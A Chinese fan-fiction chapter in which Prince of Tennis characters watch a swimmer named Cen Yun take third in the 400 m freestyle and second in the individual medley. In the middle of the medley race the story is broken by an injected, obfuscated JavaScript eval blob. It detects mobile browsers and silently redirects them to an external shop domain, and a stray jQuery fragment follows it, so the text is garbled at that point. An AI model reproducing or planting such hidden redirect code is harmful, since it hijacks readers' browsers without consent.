东京都大会第二天上午,距离四百米自由泳决赛开始还有四十分钟,冰帝网球部的四个人先到了。
向日隔着观众席栏杆寻找了半天。
“岑韵在哪里?”
“运动员休息区。”凤低头看了一眼赛场图,“比赛前应该不会上来看台。”
“那我们来这么早做什么?”
宍户在他旁边坐下。“是你说不能错过热身。”
“网球比赛前还能看选手在场上试几球。游泳为什么什么都没有?”
“有热身池。”凤解释,“不在主赛池。”
向日显然认为这种安排降低了观赛体验。
忍足从入口处拿来几份当天的赛程表,递给他们。“第三项,女子四百米自由泳决赛。岑韵在第三泳道。”
“预赛第三为什么在第三泳道?”
凤正要解释决赛排位,入口处又出现了两名穿着立海大制服的人。
切原走在前面,手里同样拿着赛程表。真田跟在他身后,神情严肃得像是来参加正式比赛,而不是陪一年级队员认路。
岑韵已经发过信息告诉忍足今天切原和真田会来。但是其他人很吃惊。
凤先站起来。“真田前辈,切原君。”
宍户向他们点了点头。
忍足将旁边的空位让出来。
只有向日看了真田几次。他对这个轻松击败桦地的人印象深刻。
真田在空位坐下,将赛程表折到下午的页面。女子四百米个人混合泳决赛的时间被他用笔画了一条短线。
忍足看见了,却什么都没说。
Leo和美绪已经在前排坐了将近一个小时。
美绪回头看见他们,立刻招手。“你们都来了?”
向日走下两级台阶。“当然。她人呢?”
“刚才去检录了。”
Leo将自由泳决赛的名单递给他们。预赛第一名位于第四泳道,第二名在第五泳道。岑韵作为预赛第三,被安排在第三泳道。
切原研究了一会儿。“为什么最强的不是第一泳道?”
“因为中间泳道更容易看见主要对手。”凤解释。
“那第三泳道也不错。”
“本来就不错。”
切原点头,像是这一安排得到了他的批准。
广播开始介绍决赛选手。场馆里的交谈声逐渐降低。八名运动员从侧面的通道进入。岑韵穿着冰帝的运动外套,跟在工作人员身后走到第三泳道。她没有向观众席寻找熟人,只在放下外套以后活动了一次肩膀。
美绪已经开始紧张。
“她看起来好像比昨天累。”
Leo说:“只是没有笑。”
“她昨天也没笑。”
“那就没有区别。”
切原趴在前方座椅靠背上。“她怎么不先游一圈?”
“热身已经结束了。”凤再次解释。
“网球选手上场还会试球。”
“泳池不是每个人轮流使用的。”
切原觉得游泳比赛缺少了必要的赛前确认环节。
真田没有参与他们的讨论。
他看着第三泳道。
岑韵戴好泳帽和泳镜,站上出发台。她的动作与昨天没有明显区别,却不像面对下午混合泳预赛时那样集中。
广播安静下来。
出发信号响起。
从观众席上看,四百米自由泳最开始的差距并不明显。
八条泳道同时被水花覆盖,选手的身体大部分时间都在水下,只能根据泳帽位置判断先后。
第一个五十米,第四泳道率先转身。
岑韵暂时排在第四。
向日立刻问:
“她是不是慢了?”
“才五十米。”宍户说。
第一百米结束时,她仍然没有追到前三。
切原皱起眉。“她为什么不加快?”
“预赛第一名在前面带得很快。”忍足看着泳池,“现在跟上去,后面不一定能保持。”
“但是已经落后了。”
“长距离不是从第一个转身开始算结果。”
切原显然不喜欢这种解释。对他而言,只要比赛已经开始,落后就应该尽快追回。
真田却注意到,岑韵没有因为泳道旁的水花领先而改变动作。她每一次转身都很完整,频率也保持得几乎相同。
第二百米,她追到第三。
第三百米前后,第六泳道的选手开始加速,又从她身边超过。
美绪抓紧栏杆。
“又变成第四了。”
Leo仍然没有说话。他熟悉岑韵的自由泳,也知道她真正准备加速的位置从来不在第三百米以前。
最后一次转身。
还剩一百米。
第三泳道的水花开始明显变快。
岑韵没有突然缩短动作,只是每一次划水之间的间隔越来越短。她先追近第六泳道,在最后五十米超过对方。
前两条泳道仍然领先。
最后十米,她与第二名之间还差接近半个身位。
切原已经站了起来。“岑韵!”
向日也跟着喊:“追上去!”
两个人的声音几乎同时穿过观众席。
岑韵没有抬头。
她完整完成最后一次动作,伸手触壁。
计时板亮起。
第三名。
成绩只比她的个人最佳慢零点几秒。
凤最先看清数字。
“第三。没有刷新最好成绩,但是很接近。”
向日仍然盯着前两名的时间。“差得不多。”
“第三名已经很好了。”美绪说。
切原却显得不太满意。“她最后还能再快一点。”
宍户看了他一眼。“你第一次看游泳,就开始判断她还能快多少?”
“最后已经追上很多了。”
“说明前面留得对。”
真田没有评价名次。他只是看着岑韵离开泳池。
她没有因为下午还有主项,就在自由泳中随便保留。也没有因为最后无法追上第一名,提前放弃动作。副项仍然被她完整游完。
岑韵从运动员通道出来时,头发还没有完全擦干。
Leo等在出口,将毛巾递给她。“第三。”
“我知道。”
“时间也没有看错。”
岑韵接过毛巾。“我只看了一次。”
“这次不用确认泳道。就是你的成绩。”
美绪跑过来。“最后一百米差点追到第二。”
“还差一点。”
“下午可以追第一。”
岑韵没有回答。她低头喝水,神情平静得像上午的比赛只是完成了一项计划。
忍足等人也从观众席下来。
向日最先说道:“你最后那段明明很快,为什么前面不早点游?”
“因为四百米不只有最后一段。”
“但早点追上就不用最后那么辛苦。”
宍户在旁边说道:“早点追,最后可能就没力气了。”
向日仍然觉得,能够领先时不领先是一件很难理解的事。
凤则认真告诉岑韵:“成绩只比你的个人最佳慢零点三秒。”
“我看见了。”
切原终于挤到前面。“第三名。”
“我知道。”
“你不是说自由泳成绩更好吗?”
“第三名和这件事不矛盾。”
“但是下午的混合泳更难赢。”
岑韵看着他。“所以你特意来确认我是不是选错了?”
“顺便。”
“你还顺便把真田君带来了。”
“副部长是为了防止我回去时走错路。”
真田站在后方,没有纠正。
岑韵向他点了一下头。“麻烦你了。”
“没什么。”
他没有询问她上午的感受,也没有提前讨论下午的比赛。
佐藤教练已经在运动员区域入口等她。
“去放松。十二点以前吃完午餐。”
岑韵将毛巾重新搭到肩上。
离开以前,Leo只说了一句:“下午还有一场。”
“嗯。”
这一次,她回答得比刚才更快。
忍足注意到了。
获得自由泳第三以后,她没有失望。
但一提到下午,她整个人已经重新进入比赛。
午餐安排在场馆外的休息区。
岑韵需要与游泳社一起进食和准备,没有与观众待在一起。冰帝网球部四人、切原和真田则在附近找到了空桌。
切原吃饭时仍然研究混合泳名单。
“蝶泳、仰泳、蛙泳、自由泳。”他念了一遍。
向日问:“你昨天才知道顺序?”
“我本来就知道。”
向日看向他。“你到底是立海大的还是冰帝的?”
“当然是立海大的。”
“那你为什么刚才喊得比我们还大声?”
切原立刻回答:“我只是来确认语言交换对象没有输得太难看。”
“她拿了第三。”
“所以不算太难看。”
宍户将饮料放到桌上。“你对比赛是不是只有赢和没赢两种判断?”
“比赛不就是这样?”
没有人成功改变他的看法。
忍足翻开下午的赛程。“混合泳预赛第一名和她差了接近两秒。”
“很大吗?”向日问。
“对四百米来说,不算无法追。但也不是靠最后几米就能随便补回来的。”
切原看向真田。“副部长觉得呢?”
“我不了解游泳。”真田回答得直接。
“那你下午怎么看?”
“看完整场。”
忍足轻轻笑了一下,没有再问。
下午三点,观众席上的人数比上午更多。
女子四百米个人混合泳是当天后半段的重要项目之一,几所学校的学生集中在各自区域,场馆内不断传来整齐的加油声。
岑韵位于第五泳道。
预赛第一名在第四泳道。
美绪拿着名单,反复确认不同泳姿结束后的距离。
“蝶泳一百米,然后换仰泳?”
“对。”凤说。
“仰泳游完以后是蛙泳?”
“对。”
“那她最弱的是哪一个?”
“蛙泳。”Leo回答。
美绪更加紧张。“如果蛙泳被超过怎么办?”
“还有最后一百米。”
切原在旁边说:“被超过就再超过去。”
这句话虽然没有提供任何方法,却意外符合比赛逻辑。
运动员进入场地。
岑韵走向第五泳道。
与上午相比,她没有活动太多次肩膀。放下外套以后,她先看了一眼池壁上方的仰泳标志,又低头调整泳镜。
忍足说道:“她果然选了自己更想游的那一场。”
向日问:“不是因为更容易赢?”
“正好相反。”
广播开始介绍选手。
观众席逐渐安静。
真田将赛程表放到膝上,视线落在第五泳道。
他看过岑韵弹琴,也看过她在文化周里重新理解停顿。
但这是第一次,他真正观看她参加比赛。
蝶泳开始以后,第四泳道很快取得领先。
预赛第一名的节奏比其他人更快,前五十米便拉开了小段距离。
岑韵没有追。
她与第三泳道的选手几乎同时完成第一次转身,暂时排在第三。
向日盯着水面。“第三。”
“看得见。”宍户说。
“我是在报告。”
切原已经向前探出身体。“她蝶泳是不是太慢了?”
真田说道:“节奏没有乱。”
切原转头看他。
副部长明明刚才才说自己不了解游泳。
第一百米结束。
蝶泳转仰泳。
运动员触壁、转身,仰面蹬离池壁。水花短暂遮住了泳道位置,观众席上很难立即看清排名。
直到选手重新浮出水面,凤才说道:“她在追第二。”
仰泳阶段,岑韵与第三泳道之间的距离逐渐缩小。
她无法看见左右对手,只能依靠上方的标志和转身判断位置。观众却能清楚看见,她每一次经过池边时,都比前一次更接近。
一百五十米。
两人的泳帽几乎平行。
第二百米触壁时,岑韵先一步完成转身。
“第二了!”美绪说道。
切原立刻露出理所当然的表情。“我就说可以追。”
比赛还没有进入她最弱的一段。
蛙泳开始。
第三泳道的选手很快重新靠近。另一名原本排在第五的选手也在蛙泳阶段明显加速。
岑韵的动作没有失误,速度却比她们慢。
两百五十米时,她被一人超过。
接近三百米时,又有一条泳道追到前面。
美绪看着四名选手先后靠近池壁。
“她第四了。”
切原已经完全站起来。
“怎么突然第四?”
“蛙泳是她较弱的泳姿。”Leo说。
“那就快一点。”
“你以为她不知道?”向日也开始着急。“还剩多少?”
“一百米。”宍户说。
“只剩一百米了。”
“还有一百米。”宍户的说法与向日完全相反。
佐藤教练站在池边,没有喊岑韵加快。他的目光只落在最后一次转身上。过去,她最容易在这里迟疑。
蛙泳触壁以后,需要立刻转入自由泳。四种泳姿已经消耗了大部分体力,动作却不能停。
第五泳道靠近池壁。
岑韵伸手触壁。
转身。
蹬离。
没有停顿。
看台上真田握着赛程表的手稍微放松了一些。
最后一百米开始。
进入自由泳以后,比赛的差距第一次变得容易判断。
第四泳道仍然领先。
第二、第三名相隔不远。
岑韵暂时排在第四,却在水下蹬离以后迅速靠近前面的泳道。
切原开始喊:“岑韵,追上去!”
向日立刻提高声音:“这里是冰帝的观众区!”
“我知道!”
“那你为什么比我们还大声?”
“现在是问这个的时候吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750688|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
美绪已经完全顾不上他们。“还差多少?”
凤看着泳池。“她在追第三。”
岑韵的自由泳与前面三种泳姿完全不同。
蝶泳时的克制、仰泳时的稳定和蛙泳阶段的落后都已经结束。她不需要继续适应新的动作。
最后一百米,是她最熟悉的部分。
三百五十米。
第五泳道超过第三泳道。
第三名。
观众席上的声音突然变大。
切原已经把手撑在前排座椅上。
“还有一个!”
前方第二名与岑韵之间仍然差接近半个身位。
最后一次转身。
岑韵蹬离池壁后,距离再次缩短。
向日不断问:“追上了吗?”
“还没有。”宍户说。
“现在呢?”
“快了。”
真田没有出声。
他看着第五泳道。
岑韵没有因为接近对手而突然打乱动作。她每一次换气的位置仍然固定,划水频率不断提高,却没有像只剩最后几米那样急着伸手。
最后二十五米。
第五泳道与第二名并行。
美绪喊得声音已经发哑。“Lyra!”
岑韵在最后十米超过了对方。
第一名仍然在前方。
差距已经不到一个身位。
切原喊道:“第一也追上!”
可比赛没有因为他的要求延长。
第四泳道率先触壁。
第五泳道紧随其后。
第二名。
距离冠军零点八秒。
计时板亮起时,观众席短暂地安静了一瞬。
凤最先看见岑韵的成绩。“快了两秒。”
向日转头。“什么?”
“比她以前的个人最好成绩快了两秒多。”
美绪终于松开一直抓着的栏杆。“她真的从第四追到第二了。”
Leo没有立即说话。
他看着泳池里仍然扶着池壁调整呼吸的岑韵。
她抬头看了一眼计时板。
这一次没有反复寻找自己的泳道。
她看见了成绩,也看见了排名。
第二名。
没有赢。
却比她选择混合泳以前的最好成绩快了两秒。
佐藤教练在池边向她点头。岑韵没有表现出明显的庆祝,只低头摘下泳镜,又回头看了一次第四泳道的成绩。
差零点八秒。
已经足够接近,让人知道下一次应该追向哪里。
颁奖结束后,岑韵戴着两枚奖牌从运动员通道出来。
美绪第一个冲过去。“你最后真的从第四追到第二了!”
“我知道。”
“你每次都说你知道。”
“因为我刚刚就在泳池里。”
Leo将毛巾递给她。
“这次不用确认泳道。就是你的成绩。”
岑韵接过毛巾,顺手锤了Leo一下,”你还要嘲笑我多少次。”
凤拿着成绩表走过来。“比之前的最好成绩快了两秒零三。”
“谢谢。”
向日仍然对蛙泳阶段的情况难以释怀。“我还以为你掉到第四以后已经没机会了。”
宍户说道:“她要是真那么想,前面就不会留着。”
“我没有留太多。”岑韵说,“只是蛙泳确实比较慢。”
忍足站在旁边。“现在还觉得自由泳更适合你吗?”
“更适合拿名次。”
“混合泳呢?”
岑韵没有思考太久。“更适合我。”
忍足点头。“那就没有选错。”
切原终于走到她面前。“第二名。”
“我知道。”
“又没赢。”
“你可以回去了。”
“我特意从神奈川过来。”
“是你自己要来的。”
切原看了一眼她胸前的银牌。
“差一点就赢了。”
“你对游泳的判断是不是只有赢和没赢?”
“比赛不就是这样?”
岑韵决定不再讨论。
切原却又说道:“下次再赢。”
这句话与她校际比赛后收到的消息完全相同。
游泳社还要完成赛后集合,其他人先向场馆出口移动。
切原在自动贩卖机前停下,试图购买一瓶限定口味的饮料。向日也跟了过去,想确认立海大的一年级究竟会不会在机器前选十分钟。
凤和宍户先去出口等候。
忍足陪美绪整理刚才拍下的照片。
走廊里短暂地安静下来。
岑韵抱着毛巾,发现真田仍然站在原处。
“切原还没走。”他说。
这句话像是在解释自己为什么留下。
岑韵点头。“今天麻烦你陪他过来。”
“只是避免他迷路。”
“我知道。”
真田看向她胸前的银牌,又看了一眼远处仍然显示着比赛结果的电子屏幕。
“最后一百米没有急。”
岑韵想了想。“因为前面已经急不动了。”
“不是一回事。”真田说道:“疲劳时仍然能够判断,才有翻盘的机会。”
岑韵低头看着毛巾边缘。这与书中的内容相似,却不是从书里照搬出来的解释。
“我还是没追上第一名。”
“差距已经比预赛小。”
“还有零点八秒。”
“那就是之后需要解决的部分。”
真田没有说第二名已经足够。岑韵反而觉得,这种回答比单纯的祝贺更适合她。
“下次我会追。”
真田点头。“嗯。”
不远处,切原终于买到饮料。“副部长,可以走了!”
真田转身以前,又向岑韵说道:“恭喜。”
“谢谢。”
当晚,岑韵回到家以后,先将两枚奖牌放到书桌上。
自由泳第三。
混合泳第二。
她刚坐下,切原便发来一张模糊的照片。照片里是计时板上的最终排名,角度歪得几乎看不清数字。
——下次再赢。
岑韵回复:
——你已经说过了。
——重要的话可以说两次。
她没有继续回答。
另一条消息来自幸村。
他发来一句诗歌,岑韵知道是歌德的。
——人的灵魂如同水,在上升与回返之间永远变换。
岑韵看了一会儿。
——切原告诉你结果了?
——他在回程中发了很多消息。大部分内容是你最后一百米为什么没有再快一点。
——他对游泳的理解只有赢和没赢。
——很像赤也。
岑韵看向桌上的银牌。
——今天仍然没有赢。
幸村过了一会儿回复:
——第二名也可以证明选择成立。
——这句话不像立海大的人。
——不要告诉切原。
岑韵笑了一下。
窗外已经完全黑了。
岑韵将银牌放回桌面。
她想再游一场。